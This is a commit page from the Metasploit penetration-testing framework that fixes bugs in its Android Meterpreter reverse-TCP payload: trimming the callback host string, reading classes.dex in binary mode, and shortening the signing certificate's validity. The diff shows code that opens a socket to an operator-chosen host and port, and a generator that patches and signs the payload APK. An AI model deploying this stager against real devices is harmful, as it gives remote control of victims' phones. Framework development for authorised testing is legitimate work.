Skip to content

Commit a13cf53

Browse files
committed
Android Meterpreter bugfixes
- classes.dex gets mangled on windows; use binary mode when reading it - UnknownHostExceptions on API Level 3 emulator because of trailing whitespace after the hostname/IP - Work around integer overflow at year 2038 when signing the payload
1 parent a2f8b3d commit a13cf53

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ protected Void doInBackground(Void... params) {
4545

4646
private void reverseTCP() {
4747
try {
48-
String lhost = LHOST.substring(4);
48+
String lhost = LHOST.substring(4).trim();
4949
String lport = LPORT.substring(4).trim();
5050
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
5151
DataInputStream in = new DataInputStream(msgsock.getInputStream());

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def string_sub(data, placeholder, input)
3535
def generate_jar(opts={})
3636
jar = Rex::Zip::Jar.new
3737

38-
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'))
38+
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
3939

4040
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
4141
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
@@ -74,7 +74,7 @@ def generate_jar(opts={})
7474
# requirement. You can not upload an application if it is signed
7575
# with a key whose validity expires before that date.
7676
# """
77-
cert.not_after = cert.not_before + 3600*24*365*30 # 30 years
77+
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
7878

7979
jar.sign(key, cert, [cert])
8080

0 commit comments

Comments
 (0)